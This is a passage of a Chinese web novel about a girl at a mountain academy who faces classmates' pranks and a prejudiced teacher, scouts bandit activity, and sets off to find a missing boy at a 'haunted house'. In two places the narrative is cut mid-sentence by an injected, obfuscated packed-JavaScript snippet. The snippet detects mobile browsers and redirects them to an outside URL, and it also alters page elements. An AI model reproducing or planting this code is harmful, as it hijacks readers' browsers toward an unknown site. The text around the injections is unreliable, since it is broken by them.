驿站外,无恩早已在马车旁边恭候,见薛霁出来,立即提灯小跑着迎了过去。 “主子,匪贼狡猾,在那屋子周围遍布了铃铛,有人靠近或是有风就叮铃作响,实在听不到什么,不过方才末间有人出来,属下于门缝中瞧见他们一行人正围着一团灰黑石块鼓捣。” 薛霁听他说完,展开握在手中的纸卷字条。 无恩将灯笼提高,瞧见那字条上面密密麻麻、弯弯曲曲的写着的似乎是北漠文。 ‘公主虔来之事既成,却音信忽失,不知安危,此事反常,下何从,乞指示,故园念切,梦寐神驱,盼复。’ 看完字条,薛霁想起方才给他让路汉子的脸来,顿了一瞬,而后道,“取纸笔来。” “是。” 无恩跃入马车取来纸笔,腰背前倾反手举灯。 薛霁把纸张铺在他的后背,从字条上分别选取了几个字后,将其打乱次序誊抄下来撕成与原件一般大小,又抽出那小簇狼毫夹在字条中,方才卷起递给无恩,“后院鸽舍里混着信鸽,尽快送出。” “是。” “对了……” 无恩领了命就要转身,却又被主子喊住,“西南方近日什么动静?” “探子昨儿报来说,前几日有一小股南夷持械流寇妄图潜进戍边营地作乱,被宣威军当场擒获,齐老将军在争斗中英勇非常,所以受了点轻伤,南夷蛮子脑袋小歪主意却多,他们时常趁夜骚扰我军,但多数时候都掀不起什么风浪,因而这类消息一般都不会传奏都中。” “若遇上少数时候,奏疏中的措手不及可不是什么好词。”薛霁搭着无恩的手臂上车,撩起帷幔时,又听他说,“玉衍君的诗会已经散了,他近来应该很是有空去看望祖父。” 无恩:“属下明白。” “去吧。” “是。” 薛霁放下帷幔,马车便缓缓起步向前驶去,无恩抱拳行礼后,转身一跃也消失在了蒙蒙夜色之中。 外面的天地波谲云诡,而安南书院中却依旧悠然宁静、一片祥和。 初暒每日凌晨都会悄悄溜出去环着安南山跑圈,越跑越觉得自己与这幅身体相处的不错,她原先走路都费劲,可现在只需一个时辰就能从山顶到山底往返两个来回。 跑完今日的量,她在回去的路上又挖了一包适合做绑腿土包的细土。 回到书院,初暒照旧在讲堂门口从上课倒立到下课,吴夫子则从起先的冷眼嘲讽到后来选择无视,邱阳有时见着此景会夸赞她厉害,说有些男孩都坚持不了这么久,不过他也会劝她找个机 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因前几日书院通知各院学生无故不得外宿,学生们用过晚膳之后天色已暮,点灯又费油,所以大部分人都汇聚在百果园里的亭子里嬉戏闲聊,初暒本想找块空地回忆回忆军营里的军拳腿法、套路格斗啥的,却不想苟旦一下学就将她拉到了百果园一处菜地跟前。 “眠眠你瞧,这块地是我翻的,种也播了,你猜猜里头种的是什么?” 初暒捏起一把还带着湿气的土地,看了看说,“是春小麦。” 苟旦惊讶,“你如何得知!” 初暒:“黄土地土层较薄、出石头较多、透水性强,但是肥力弱,我看你这片地土壤松紧度适中、有较好的保水能力、壤土通气性也好,里面还撒了石灰,我只是觉得这里最适宜种植小麦。” “你居然还懂这些?” 苟旦眼里满是赞赏,可初暒话说出口时,又想起前世她那些晚上夜袭敌军,白天还得下地种田的兵就觉得心酸,她编瞎话,“原先跟我爹下地的时候,听他说过。” “对,咱们都是农户出身,种田还是得回家问问爹娘与同村长辈。” 他们俩蹲在一旁说悄悄话,被坐在凉亭的栗铜看到了。 这几日初暒忙着锻炼没工夫理会他,可是栗铜却认为,姑娘家就是姑娘家,吓唬人的法子就那两下,他此时见那两人正在旁若无人的调笑,心里忽然来气,于是低头在脚边捡了一块石头向他们丢去。 陈家宝看见了但来不及阻拦,只能眼睁睁的看着那块虽说大小砸不破脑袋却也能让人吃痛的石头打着弧冲向初暒。 听到自己身后有风声,初暒以迅雷不及掩耳的速度将脑袋一偏的同时还灵敏地推开了苟旦。 ‘咚’的一声,石子砸进泥土卡出了一个小坑,初暒将它捡起一步步走向凉亭,她喜怒不显,问,“谁干的?” 没有人答话,可众人的眼神都不自觉看向了栗铜。 初暒了然,走到了他面前,猛地抬手作势要用手中石块砸他。 “啊!不要!” 手中的石块还未触及到他,栗铜便捂着自己的脑袋大叫出声,大家看着他滑稽的模样都‘哼哼’着憋笑。 不疼? 栗铜小心翼翼的放下手后,只看见站在自己面前的初暒将石块在手中上下抛掷,并没有要揍他的意思。 初暒:“你这孩子手就这么痒么?非要找别人不痛快自己心里才高兴?” 被一个小姑娘当众戏弄,栗铜面上有点挂不住,大声道,“说谁孩子啊,初眠眠你还比我小呢!” “哦,有些人在你这个年纪都快当爹了,你却还在做用石块砸同窗脑袋这般幼稚的事,你如此行径跟外头无理取闹的傻子有何分别,说你是孩子都算我客气了。” “哈哈哈……” 初暒一本正经的瞎说,众人终于忍不住大笑起来,陈家宝见栗铜快要被气疯,连忙将他拉到自己身边悄声安抚,“别别别,你打不过她,真打不过……” 初暒见栗铜不服,便直接坐到他对面把玩着手里的石块。 栗铜看着她无所顾忌的模样,突然觉得好像她只要想,手中的石块下一秒就能出现在自己脑袋上似的。 陈家宝感觉到栗铜打了个寒颤,轻轻拍了拍他的肩膀,然后试图转移大家看他热闹的注意力,“百果园地势宽阔,冬季雪落满园风景极佳,夏夜里风动蝉鸣、星光也最为明朗,不过诸位,不知你们可有听过那个传闻?” 33. 偏见 “不过诸位,不知你们可有听过那个传闻?” 陈家宝的声音故作诡异,此时又忽然起了一阵夜风,风将亭中的灯笼吹的四面摇晃,连带着里面的灯台火苗也不得安生。 有人问,“安南书院的传闻众多,你说的是哪个?” 陈家宝笑笑不语,只用下巴挑了挑亭子外面的百果园。 百果园是一片学田,白天看过去都广阔的很,此时夜幕重重压在田亩之上,活像一个能吞没无数人的黑洞。 一直默不作声的成非看着远处,心里有些发毛,“喂!邱夫子曾说过数次‘子不语怪力乱神’,你莫要再在此处吓唬人。” 陈家宝有些无辜,“我还什么都没有说,怎么就吓唬人了。” “你还想说什么,你在夜里那样……”有一个小男孩夸张的模仿陈家宝方才用下巴指方向的模样,“谁不知道百果园那头有座吃人的鬼宅,你大晚上的提那儿,当心把咱们这儿唯二的两个姑娘吓得哭鼻子。” 听他这话,初暒才注意到原来赵芊芊也在这里。 成非冷哼一声,“赵芊芊哭鼻子那不是很正常,可是初眠眠,呵,恐怕咱们都被吓哭,她也不会掉一滴眼泪。” 赵芊芊被人取笑,脸红的都快滴出血来,她想走可又不敢独自回去,只得倚在凉亭的鹅颈椅上如坐针毡,初暒见赵芊芊局促,便想过去和她一起走,可刚一起身就见陈家宝拦在她面前问,“初眠眠,你可信这世间有鬼?” 苟旦听之一笑,他也这么问过她,还记得她当时就说‘这世上若是真的有……’ 初暒:“当然。” 她说的成竹在胸,倒让陈家宝无言以对,好一会儿才憋出一句,“为何,你见过?” 陈家宝本来是直面百果园的,可是为了拦着初暒他此刻正背对着外面的漆黑一片,初暒对他说话时,眼睛却直勾勾看向他的身后,淡淡道,“那儿不就有一只么。” 众人还没反应过来,忽然从初暒看着的地方又传来‘嘎嘣嘎嘣’的声音,这声音就好像是猫儿用后槽牙咬食老鼠脑袋的声响被放大了数倍。 人群里不知谁喊了一句,“啊!有鬼吃人啦!” 喊声刚起,凉亭里的众人便立刻尖叫着作鸟兽散,有人跑的迅猛,一溜烟就没影了,有人跑的慢生怕自己落在最后,竟挥手将跑在自己前面的人拽到一旁,好让自己从人缝中穿过去。 栗铜本想撒腿就跑,可转过身那一瞬间不知被什么念头驱使着,边跑边回头遥遥望了一眼那座在夜里只能隐隐瞧见轮廓的宅院。 苟旦在慌乱中还不忘拉起初暒,场面太过混乱,以至于他牵着人跑了许久才觉得,眠眠这几日吃的好,小手都变得肉乎乎的了,触感很好,他没忍住,又捏了几下。 “哎,牵手就牵手,你可别趁机吃我豆腐啊。” 嗯。 嗯? 嗯! 这声色不对! 苟旦连忙转身,“怎么是你!” 将学生们吓跑,初暒走向‘嘎嘣’声来源之处,弯腰在泥土上摸到了一些被折断的干枯竹枝。 好像在哪儿见过。 初暒一时想不起来,此时凉亭后面有阵窸窣声,她抛下手中枯枝碎屑,走了过去。 因为瘦小被人撞得差点摔倒,赵芊芊只能抱头躲在凉亭石阶旁,初暒将她扶起,安慰,“没事了,快起来吧。” 听见初暒的声音,赵芊芊抬起头慢慢搭着她的手从草丛里出来,她抱着初暒的手臂环顾了一圈,没发现什么,才终于松了口气。 初暒见她这样,心中有些过意不去,“抱歉,吓着你了。” 赵芊芊闷闷地摇了摇头,没有说话,两人就这么沉默着回到了校舍。 总算得空,初暒梳洗回来从床底下取出在山里挖出的细土,用借来的针线开始为自己缝制绑腿土包。 “看,我就说她早跑了吧非得再回来找。” “陈家宝,让你没事吓唬人!”苟旦从百果园回来骂了一路,“若是眠眠有什么好歹,我非揍死你不可!” 陈家宝一脸难以置信,“我吓唬她!你瞧瞧到底是谁被吓得抱头鼠窜,苟旦,不是我说你,你也太信得过初眠眠了,当心那天自己被她卖了都不知道。” “你胡说什么?” “我胡说。”陈家宝左臂一展,右手拍了拍自己圆滚滚的肚子,“瞧瞧我这体格,再想想你路过安南庄我家时应该见过的那圈新加高的外墙了吧,你以为是在防谁呢。” 苟旦忽然心虚。 “一个小丫头都能将我爹耍得团团转,她若是真见你不顺眼,你还不一定能落个什么下场呢。” “眠眠心地善良,才不是你说的那样!我们先前对你不公,确实事出有因,不得已才……” “停停停,与你说这些又不是为了翻旧账的,我只是觉得初眠眠似乎和以前不一样了,就好像……好像是被鬼魅附了身似的,你不觉得么?” 书院此时只有他俩走在小径,可自从百果园出来,苟旦就总觉得有什么东西跟在他们身后,他打了个冷战,想四处查看但浑身上下只有眼珠子敢动,“你别吓我啊。” 陈家宝:“等等,你可有听见什么声音?” 苟旦哆哆嗦嗦的说,“咱们身后是不是有人……” “!” 陈家宝立时汗毛全竖,他捂着嘴甩着一身肥肉撒腿就跑,饶是苟旦也没能追上他。 “咚咚!” 梆子被敲了两声后,于师傅沙哑的声音也随之响起—— “就寝!熄灯!” 要熄灯了,可手里的土包连一个都没有缝好,初暒心里一急,针尖就刺中了手指,血珠顺着指纹慢慢涌出,她被扎的倒吸了一口凉气。 隔壁床的赵芊芊听到她的动静终于忍受不住,随即翻身蹬鞋下床一把抢过初暒手里的东西,她照着灯烛,扯掉那条钻的歪七扭八的细绳,给土包外头又裹了一层灰布,将原先那层当成内衬以防细土滑出,而后娴熟且麻利的将布料四面紧密地缝合住。 “给。” 初暒眼看着赵芊芊易如反掌般缝好一个又一个,在目瞪口呆中伸手接过她递来的绑腿土包。 每只土包上还有长又结实的布条,足够让她将其稳稳的绑在腿上。 “多谢你,不过你怎知我要将这个绑在腿上?” “你剪布的时候我瞧见你往腿上比划了。”赵芊芊躺回自己的床铺,“下回早起不必再偷偷摸摸,我睡觉没有那么轻。” 初暒愣了一下,才笑道,“好。” 吹了灯,屋内又安静下来,初暒以为赵芊芊睡了,刚准备闭眼,就又听她说,“每个来安南书院的人一开始都会被欺负的,我刚来时,就只会哭。” “他们见我总哭很是无趣,才不再捉弄,我有时也会疑惑,是不是女子只要会哭就能躲过祸事,眠眠,如果你向他们示弱,说不定他们就会对你失去兴趣,你也能更有空做自己想做的事。” “我刚来书院那天用木盆唬住了栗铜,所以他们才会在我进讲经堂前将桌上颜料擦拭干净,免了我当众狼狈之苦,我没有做错任何事,为何要因为旁人的刻意戏弄忍气吞声?不示弱,我也能去做自己想做的事。” 像是知道她会这么回答,赵芊芊笑了笑,“我羡慕你,能承受不示弱的后果。” 初暒偏头看去,她说完却翻过身不再言语。 一个心事重重地小丫头。 初暒抿了抿唇,也掖上了被角。 安南书院最近有些异常,既不许家就在附近的学生放学外宿,书院四面大门附近还放置了许多防贼器械,大家都在猜外面或许山匪已经泛滥,可邱夫子却只说,有空猜想,不如将书背熟,若是大家春考成绩不佳,便取消之后的蹴鞠大会。 举办蹴鞠大会,意味着大家可以在书院光明正大的玩耍,学生有的玩,谁还关注从没见过的山匪是什么东西,于是山匪这两个字逐渐被蹴鞠代替,蹴鞠也把春季考试变得不那么乏味。 大家都在为大会兴奋,没有人注意到初暒在书院里消失的次数越来越多、时间也越来越久。 刚开始,她只在安南山常有人走的路上跑圈,后来体力见好,就开始逐渐绕着整座山摸索,初暒曾在发现柳思无附近看到过一片竹林,因而有时也会带着刀斧过去劈砍竹子,将柱基部的竹篼挖出来慢慢削磨。 竹篼坚韧,削磨尖锐后,就是一件极好的利器。 她挑选了几个既漂亮又锐利的竹篼尖子藏在身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888082|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,决计再往安南山与虔来山交接之处走走。 听柳思无的小厮喊他大人,想来那柳大人是位朝廷官员,初暒耳听他说要回都上报山匪一事,可距离他遇劫已过去数日,仍旧不见属地官员派人前来查看,要么是他在朝廷人微言轻,要么就是他既人微言轻,朝廷又不把这匪患当回事。 但要是真不必当回事,那安南书院为何会如此小心谨慎。 初暒查看过书院准备的防身器具,那些犁耙、长枪许是年份已久,有的已经生出铁锈,别说对抗土匪了,恐怕连细皮嫩肉小姑娘的手也戳不破。 想要自保,利器必不可少,她看着满山的竹林心里有了盘算。 学生们每日都被关在学堂,虽说身边全是同龄玩伴,但时日一久也觉烦躁,春考成绩公布后这种烦躁就更是涨了数倍。 所谓春考,就是将年后学过的所有东西齐齐考过一遍,以此来助学生和夫子了解彼此在学业上付出的心血有无得到回馈。 成绩贴在告示板上,众人都挤着围过去看,毕竟邱夫子说了,这场战果关乎是否能去玩乐。 不出众人所料,苟旦又在榜首,他不好意思的挠着脑袋接受同窗好友夸赞的同时,目光有意无意的在告示板上寻找初眠眠三个字。 初暒的名字被写在中游靠上的位置。 陈家宝最先看见,打趣说,“初眠眠可真是厉害,晚入学好几天,上课还总被罚在堂外,竟也能考得这般好成绩。” 栗铜切了一声,“还不知是怎么考出来的呢。” 初暒听见只是笑笑,握着手中书卷转身回了讲经堂。 前世不爱读书,多亏母亲逼迫,才让她把该读的都读过了,有些文章固然已经忘得差不多,但只要肯用心回忆,那些东西就只会像血肉一样重新长回自己的身体。 书院里教的初暒大多都学过,要想拔得头筹自然轻而易举,不过她来这里可不是为了用功读书、发奋科考的。 要上课了,吴夫子进门前,初暒自觉地往外走。 两人迎面碰上时,她躬身朝老师行弟子礼,谁知吴所仕见了唯恐避之不及的侧身绕过她,漠然道,“你入学至今,老夫从没有教导过你半句,实在受不起你行的这礼。” 初暒:“您虽未曾当面教导,但我立于讲堂之外仍将您的教诲谨记在心,为学莫重于尊师,学生这弟子之礼您自然受得。” 她不卑不亢,可看在吴所仕眼里这就是在与自己示威:在外罚站如何、你不教我又如何,我照样能在春考中名列前茅。 吴所仕课也不上了,站在门口与她冷言,“是我让你日日都立于讲堂之外?是我一入学就让你用木盆怒踢同窗伙伴?是我让你在夜里用鬼神之说吓唬人?还是我让你在考试中靠投机取巧考取佳绩?你心眼狭小、睚眦必报,稍不如意就要怀恨在心、以牙还牙,我看你心思根本不在书院,学了诗文经典能如何,既不能考取功名又不可入仕经商,早早回去嫁人成家不好么,为何偏偏要在此处与男子一般吃读书的苦。” 众学生听到外面的动静都小心趴在窗台上围观,他们实在好奇这个成日不可一世的小丫头到底有多大的能耐,敢与吴夫子抗衡。 吴所仕说完静待初暒与自己争论,只是等了许久才见她颔首,道,“夫子教训的是,以往诸事都是我行事不端,我以后会注意,但……我认为世间种种偏见,都是由人生出,也都是由人打破,男子学习诗文经典并不只为入仕经商,也可教书育人、务农植桑,女子不学诗文经典并非只能嫁人成家,也可建功立业,意气风发,学子读书是苦,庄稼汉种地也苦,在战场上为了保家卫国还吃不饱穿不暖的战士更苦,众生皆苦,不吃这个便要吃那个,哪有什么在此处吃苦到别处却能享福的美事,吴夫子,这些见解我自知天真浅薄,您博学洽闻,还望多多包涵、不吝赐教。” 一拳打进了棉花,吴所仕被她这一番话堵得胡子都吹起来了,他哆哆嗦嗦指着初暒,支吾丢出一句,“你…你这女娃巧舌如簧,还需老夫赐教?” 他哼了一声,甩袖离去。 ‘啪。’ 初暒手中书卷被吴夫子的袖袍甩开,掉在了院中石阶上,她往下走了两步就要去捡,可刚一伸手,一丛竹枝扫帚先挡在了她的手指前。 34. 打赌 这条竹枝扫帚或许是因为长久的在地面洒扫摩擦,因而部分枝条已经开始泛白,初暒顺着扫帚往上看去,瞧见整齐捆扎在一起的竹尾顶部却并不整齐,那断面长短不一,好像被老鼠啃过,又好像是被人用力折断的…… “这夫子无理……”在书院打扫的于师傅挡着初暒用扫帚将书卷扫走,边扫边嘟囔,“就他脾气最大,不学了,不学他的课了……” 见他当真要扫自己的书,初暒眼疾手快的将那书卷捡起。 她拍了拍书页上沾的虚土,笑道,“我们吴夫子脾气虽大,但学识极高,我还是要跟着他学的,于师傅,劳驾您替我出气,这书实在是难背。” 吴夫子已离开许久,可才被他冷言羞辱的初暒并没有借于师傅的话头在背后论人长短,反而将矛盾用一句玩笑转移,围观学生有人认为她的有仇必报是看碟下菜、欺软怕硬,有的人却觉得她似乎也并非自己想的那么蛮横不讲理。 与苟旦交好的一群人围过来后将拄着扫把的于师傅挤了出去,初暒在周围人叽叽喳喳的问询中错过了那位老人看着自己时眼中的欣慰与赞赏。 苟旦问,“我明明见你常在大家都撒泼玩耍的时候埋头苦读,你的成绩都是凭自己发奋得来,可是吴夫子方才说你靠投机取巧取得佳绩,你为何不反驳呢?” 初暒答:“功课只要用功学了,那真义就自然会存在于脑海之中,旁人的质疑不会让它们消失无踪,实在没必要为了口舌之快费时自证。” 有人有些不解,“吴夫子脾气是有些不好,可我们从来没有见他这般看不惯一个学生,会不会是因为你被罚数日却始终不肯低头,将他惹怒?” 初暒摇摇头,“吴夫子看不惯我,只因我是女子,却偏做女子不该做的事。” 苟旦小声说,“吴夫子久考不中,是于失意之中无奈才来书院做夫子的,老学究嘛有些迂腐也实属正常,眠眠,你不要因他说的那些刻薄之语难过,我们都觉得你很好。” “这世间看不惯女子的人很多,他既是夫子,我虽觉悲哀,却并不感到难过,今时我的确见识尚浅,但我相信只要自己虚心向学、发愤图强,就总有一天能将‘谁说女子不如男’的道理讲给天下人听。”初暒看着这些孩子,笑道,“多谢你们特意前来安慰我,之前我行事鲁莽,若有得罪之处,还请诸位不要见怪。” 初暒本就生的漂亮,围在她周围的众学生又是第一次见她笑得这样明朗,都一时有些不好意思。 苟旦心里不知为何忽然有些不高兴,他边从人群里挤出来,边说,“行了行了,趁还没到邱夫子的大课,咱们再去练练蹴鞠吧。” 看着他们逐渐离去,初暒脸上的笑意也慢慢消散。 前世的她脾气暴躁、嚣张狂妄,从来不耐心与旁人多说一句废话,一言不合不是脚先踹出去,就是拳头先挥过去,也因此得罪过不少人,可是不知为何,她近来忽然感觉自己能独自坐得住了,被人冷言讥讽也不再气急败坏,这般心性较之前真是平和了许多。 “你是谁?” “我是你啊。” 自己好像成为了她,她似乎也成为了自己。 初暒弯腰隔着裙摆将绑在小腿的土包扶正,又跑出去练拳站桩了。 见她走了,站在不远处的栗铜鄙夷说,“三言两语就将书院一大半人笼络了,即能言善辩,又会蛊惑人心,我瞧这丫头比你说的可厉害多了。” 陈家宝挑眉,“我还以为你第一天被她踹趴在地上时就知道了。” “什么踹趴在地,那叫马有失蹄。”栗铜用肩膀撞了撞他,坏笑,“怎么样,要不要同我联手。” “可别带我,我惜命的很。” “我请你吃点心?” “那还不如我请初眠眠托她兄长来送。” “我带你去我家骑马?” “那还不如……行!” —— 安南书院修建在山间,因而每年春考后夫子们都会趁山中风景正是秀丽之时带着学生外出采风游学,在如画景致中体会文人雅趣。 但是今年,夫子们都绝口不提外出游学一事,并且大家还发现,在春考放榜第二日草场上用于蹴鞠比试的场地和用具就布置好了。 以前书院也举办过类似活动以促进师生感情,可这次蹴鞠大会诸位夫子都没有参加,只将这一日空闲全部都留给学生,活生生一副早开始早结束的架势。 起初没有夫子,大家有些放不开,栗铜却像是久旱逢甘露一般与同队在草场上追着蹴鞠左踢右冲,引得围观众人也摩拳擦掌、跃跃欲试。 见苟旦也站在旁边,栗铜休息时跑过来问他,赵芊芊都过来给比试双方计分了,怎么不见初眠眠过来凑热闹? 苟旦以为他又想找初暒麻烦,便回,“眠眠向来不喜欢凑热闹,此时不晓得正躲在哪里温书呢。” “哦怪人一个,不管她,苟旦,书院里善蹴鞠的也就你我二人,怎样,要不要来与我比个高下?” 见他对初暒并无兴趣,苟旦的玩心此时也已经起来,但转念又想到,“可是我们这边有一人今日闹肚子恐怕凑不齐一支比试小队。” “喏,那个灵敏地小胖子可以先借给你。” 栗铜笑了笑,指指他身后,苟旦回头望去,瞧见陈家宝在朝自己摆手。 这能跑动么? 他想起百果园见鬼那晚,自己都追不上的陈家宝,坚定道,“也行。” 见苟旦应许,栗铜卖了个关子,“不过……既是比试就有输赢,若是赢了你想要什么彩头?” “你定吧,只要不干坏事我都行。” 栗铜拍着胸脯保证,“放心,这点小事惊动不了夫子们。” 书院众人在草场上追着蹴鞠狂跑大嚷,场面热闹非凡,反观初暒所处的山洼密林之间除了风声鸟鸣再无其他动静。 此处是安南山与虔来山真正的交接山脉,翻过这个山头,就是中北地界最大的土匪窝了,初暒前世当兵时听说过这里,但因这里的土匪山贼只抢拦过往商户车队并不伤其性命,也不下山为非作歹,故而能与属地官府井水不犯河水多年。 可不知为何,近几年落草为寇的绿林好汉忽然剧增,土匪窝变成了土匪蜂窝,山头不够占,银钱也不够分,于是他们便把腿伸向了安南山,把手伸向了山下寻常百姓。 虔来山如此反常,可朝廷仍旧跟瞎了眼似的视若无睹。初暒之前觉得那位柳大人可能不是什么大官,不然一位朝廷官员遭山匪抢劫之事怎会如此不受重视,可是后来她在虔来山脚看见几个身着衙役服饰骑马巡视的官差才明白,他是官,也确实不是什么大官。 毕竟一个大官被抢,上头是不会只派两个人和两匹马出来巡逻勘察的。 初暒最近绕山练完功后就一直在此处晃荡,瞧见过几次土匪抢劫,也遇到了几次官差巡山,可她发现好多回了,这两拨人就跟商量好似的,你来我就走,你走我就来,好些时日了愣是一次照面都没有打过。 她觉得蹊跷,所以一有空出来就守在要登虔来山就必定会经过的一条小径旁,这附近草木茂盛,初暒仗着身形瘦弱随意一猫便在这山中隐匿于无形。 这日天朗气清,山间更是草木宜人,她潜伏的无聊正准备掏出竹篼来磨,手刚摸到腰间,不远处骤然传来一声‘哦吼~’。 初暒立即收回手,降低身体重心,用那一双凌冽杏眸注视着传来声音的方向。 “哎呀徐英哥你声音小些,当心将土匪招来!”一个牵着马匹、身材魁梧的官差有些惶恐,“咱们可就只有两个人。” 同样牵着马儿的男子,回头笑了笑,“这儿哪有什么土匪,虔来山的匪都在山那儿边,离咱们这儿还远着呢,你才来还不知道,上面总下任务要剿匪,说什么若是能招安虔来山的半只贼,战场上定能多杀北漠一个匪,可都多少年过去了,朝廷年年都在消减公职以节省俸禄开支,可虔来山的匪贼却日日都吃的大鱼大肉、满嘴流油,要此时遇着他们,说不定人家还嫌弃咱穷酸,要给你我丢铜板呢哈哈哈……” 新来的魁梧官差,牵马快走了两步与徐英并肩,问,“对啊哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888083|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都轮了好几个班,可始终没见过一个土匪,既然他们都不在这片活动,那为何我们还需每日都来此处巡逻呢,岂不是白费功夫。” 徐英:“我们的功夫在哪儿费不是费,只要能让头儿交差,别说白费了我们的功夫,就是要献上这条小命,咱们也不能多说什么。” “啊?我听其他大哥们在闲谈中说,咱们来此处巡查只是为了安抚那位在山里被劫的大人走个过场而已吗,怎么还要献上小命啊?” 这个新来的块头虽大,可胆子比老鼠还小,他问的这样天真又逗得徐英大笑,“纪天兄弟,你既然怕死,还进衙门当什么差啊,谁不知只要遇上大案子,那冲锋陷阵的就是咱们这些小马前卒了,你要实在害怕,尽早回家安心种田不好?” “没有家啦,家里人都没了,就剩我一个。” 纪天的表情有些不自在,徐英也愣住了,他扬手拍了拍这个汉子的肩膀,“别想那些有的没的,放心,以后有哥罩着你,咱们这差事算是好的,当值时还能四处闲逛,不像其他兄弟幼时好不容易从书院出来,这会儿又跑去书院巡守了,你瞧这大山里多漂亮啊,大声吼一吼心里能敞亮一些的。” “啊怪不得你总喜欢在山间高声吼叫。”纪天扭扭捏捏,“我就不吼了,别真把土匪招来。” “哥哥不都说了此处没有土匪么,再说你有这幅身板还有什么好怕的,随便挥上几拳都能将别人打趴下了。” “万一真有呢,万一咱们真打不过呢,我还听说虔来山的土匪里或许是混进敌国奸细了,有的搜刮不到钱财都开始见血了,诶……好生吓人。” “你这小子才来不久,消息倒是打听的多,这些话你与我说说也就罢了,万不可四处谣传,若是这话从你口中传出去,就算能免一死也逃不过制造恐慌、扰乱民心之罪。” “啊这么严重,就咱们私下说说罢了……” “私下也不行,你离我远点,我可没同你私下说过这些混账话……” “哎呀徐英哥我错了,我再不说了……” 他们闲聊着越走越远,初暒没有从草丛里出来反而直接在原地盘腿坐下。 虔来山一带是外城入晁都的必经之路,以往一些镖局或商队为了避税有时会绕过官道冒险从山中小径穿过,就算遇到山匪,只要将提前备好的金银钱粮如数奉上便可顺利通过,所以那位官差才会说,‘虔来山的土匪日日都吃的大鱼大肉,满嘴流油’,可既然他们拦路只为求财,那位叫纪天的官差为何会听到‘有的搜刮不到钱财都开始见血’的传闻。 无风不起浪,这话要么是真的,要么就是故意有人放出来,扰乱民心的。 那么,何人要这么做,这么做又为了什么? 从怀里摸出那卷地形图,这些天总在安南山与虔来山间转悠,她越发觉得这图像是山野地形,初暒摩挲着自己手中这图,呢喃,“你究竟是柳大人从谁手中得到的,还是他要送却没送出去的。” ‘啊!啊!’ 鹰鹃开始在山林之间争鸣盘旋,已是傍晚了 初暒站起来拍拍自己身上的杂草土块,转身往回走。 一直隔着很远跟在她身后的黑衣人,小苦瓜似的长叹了一口气,继续认命的随她跑回安南书院。 白天的蹴鞠大会估摸已经圆满结束了,初暒翻墙进来一路上没见到几个人,她以为大家这会儿还在草场玩耍,又觉得自己消失太久也不好,便想着过去瞧瞧。 她刚走到草场附近,迎面就看到了满脸焦急地成非与赵芊芊。 成非在春天夜里冒了一头冷汗,赵芊芊见初暒回来竟急的朝她跑来,“眠眠,你今日去哪儿了,怎么才回来啊!” 初暒:“我在四教亭温书,下午困了,便抱着书睡着了这会儿才醒,发生何事,你怎么吓成这样了?” 成非见姑娘家说话墨迹,见面又说不到点子上,便抢先开口,“下午苟旦与栗铜以蹴鞠输赢打赌,约定输了的人要独自去‘鬼宅’取一物出来,苟旦输了,所以独自从百果园过去了,直到现在也没回来呢!” 35. 鬼宅 天已经完全黑了,草场上有几个孩子看见他们几人聚在一起,也提灯赶了过来。 初暒问,“他不见多久了?” 赵芊芊答,“已经快一个时辰了。” 初暒:“此事跟邱夫子说过没有?” 成非摇摇头,“栗铜不许大家声张,说是苟旦胆小,不可能独自进去的,若是他自己偷偷躲在某处,我们却告知了夫子此事,所有人都少不了要被惩罚。” “胡闹!夫子不知晓,要是真出了事你们有法子解决?”初暒的目光扫过在场所有人,并没有看到那位始作俑者,她压着怒火,厉声问,“栗铜呢?” “在…在…百果园。”像是被她吓着了,成非有些结巴,“他说要是熄灯后还不见苟旦回来,就自己过去找他。” 听他说完,初暒转身就往百果园跑,成非和赵芊芊相视一眼,也跟了过去。 留在原地的学生们前些日子在那儿被她吓唬的到此时还有心有余悸,面面相觑了片刻还是觉得老实回校舍睡觉比较稳妥。 百果园内零星站了几个人,见有人进来,为首男子收起自己的嬉皮笑脸,佯装焦急道,“现在什么时辰了?怎么还不见他回来啊,不行不行别真出什么事了,快把灯拿来,让我去看看……” 立刻有人接话,“约摸还有半个时辰于师傅就敲熄灯梆子了,不行啊栗铜,你独自去太危险了,要不再等等,说不定苟旦马上就回来了。” “是啊,别苟旦没找着,再把你搭进去……” “既然担心他一个人过去有危险,你们为何不结伴一起去找人!” 初暒走过来冷眼看着他们,栗铜被她这么地盯着竟下意识抖了一下,他故作硬气,道,“关你什么事啊,是苟旦自己比试输了,自愿去鬼宅的,我们这么晚了还在此处等他,已经算有情有义了。” “就是!平日里就数苟旦最关照你了,如今他不见了你不去出力,反而来质问我们,当真是……” 栗铜:“狼心狗肺!” “对!狼心狗肺!” 几人一唱一和,丝毫瞧不出他们有任何害同窗陷入危险的愧疚之心,初暒心中起疑却又不敢拿苟旦的安危去赌,她向前两步夺过栗铜手中的灯笼,回头对成非和陈芊芊说,“我去鬼宅看看,若半个时辰后不见我回来,你们就去找邱夫子,将今日之事和盘托出,如何?” 成非想了想点头,“好。” 赵芊芊却满脸担忧,“你要一个人去鬼宅?不行啊……那里从来都没有人进过,万一真的……” “我会回来。”初暒打断赵芊芊,像是为了安抚她似的,软声,“你放心。” 临走前,初暒的目光落在微微抽着嘴角的栗铜脸上,只那么一眼,就让这个快和成年男子一般强壮的男孩打了个哆嗦。 